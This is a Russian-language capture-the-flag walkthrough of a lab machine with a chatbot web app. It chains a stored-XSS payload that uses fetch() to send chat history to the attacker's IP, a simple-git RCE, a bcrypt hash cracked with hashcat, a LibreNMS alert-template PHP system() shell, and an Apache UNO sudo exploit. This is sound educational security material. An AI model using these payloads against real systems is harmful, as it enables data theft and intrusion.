Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/6f7b175e-76b7-4152-8bd4-e53cda71787b я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Классически начинаем решение машины со сканирования портов моим любимым rustscan
:
Open 10.129.109.211:22
Open 10.129.109.211:80
Обнаруживаем только два открытых порта - веб (80) и ssh (22).
Веб
Нас встречает форма логина. Зарегистрируем аккаунт.
Залогинимся и перейдем в чат-бота.
Посмотрим в исходный код страницы и обнаружим JavaScript-библиотеки axios
и socket.io
:
Попробуем написать маленький код для разведки:
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function () {
const res = axios.get(`/user/api/chat`);
const socket = io('/', { withCredentials: true });
socket.on('message', (my_message) => {
fetch("http://10.10.14.45:4243/?d=" + btoa(my_message))
});
socket.emit('client_message', 'history');
});
Я пробовал отправить эту нагрузку в чат-бот, но там нет взаимодействия с другой стороны. Поэтому пробуем отправлять нагрузку в контактную форму.
Изучаем информацию. Отсюда мы узнаем о домене dev-git-auto-update.chatbot.htb
. Добавим этот домен в /etc/hosts
:
$ sudo nano /etc/hosts
10.129.109.211 chatbot.htb dev-git-auto-update.chatbot.htb
Посмотрим, что находится на этом домене:
Внизу обнаруживаем версию используемого приложения simple-git 3.14
. Удачно для нас, Snyk описывает POC на своем сайте https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221.
Нам не составляет труда получить шелл.
Подключимся к mongo
:
$ mongo
$ show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
testing 0.000GB
$ use testing
$ show collections
messages
users
$ db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "[email protected]", "password" : "hash1", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTAwNjAxNDZ9.ZUIZ0c9ggCDZcqZF5L7E4RSMnfYIEl_FXmIHO2cmfik", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "[email protected]", "password" : "hash2", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
Отсюда вытаскиваем хеш пользователя frank_dorky
и записываем его в файл hash.txt
. В файле /var/www/app/controllers/registration.js
видим, что используется хеш bcrypt с солью.
Поэтому брутим вот такой командой:
hashcat -m 3200 -a 0 hash.txt rockyou.txt
Далее получаем данные учетной записи frank_dorky
и логинимся по SSH.
Флаг пользователя
Повышение привилегий
Выполним netstat
и увидим сервис на порту 3000:
Пробросим порт и посмотрим, что у нас крутится на этом порту:
Логинимся с помощью учетки frank_dorky
. Это librenms версии 22.10.0.
Проверяем флаги на /opt/librenms
(это позволяет нам добавить админский аккаунт https://community.librenms.org/t/adding-admin-users-on-librenms/20782/2).
Логинимся с помощью свежесозданного админского пользователя.
Изучаем ссылку https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/ и понимаем, что можем достичь RCE с помощью Alert Templates.
Добавляем Alert Template и записываем его ID (http://librenms.com:3000/templates
). Помните, мы переходили выше в meterpreter? Выйдем из него (ведь у нас уже есть SSH), запустим слушателя снова, а в темплейт запишем тот самый бинарник:
@php
system("/tmp/s");
@endphp
И сразу ловим шелл:
Переходим в каталог /opt/librenms
и считываем .custom.env
, из которого получаем учетные данные kai_relay
.
Логинимся через SSH.
Проверяем, что умеет этот пользователь с помощью sudo
:
$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
env_reset, timestamp_timeout=0, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset,
timestamp_timeout=0
User kai_relay may run the following commands on forumlax:
(ALL) NOPASSWD: /usr/bin/office.sh
$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
Здесь используется StarOffice. Мы воспользуемся эксплоитом https://github.com/sud0woodo/ApacheUNO-RCE/tree/master и получим шелл.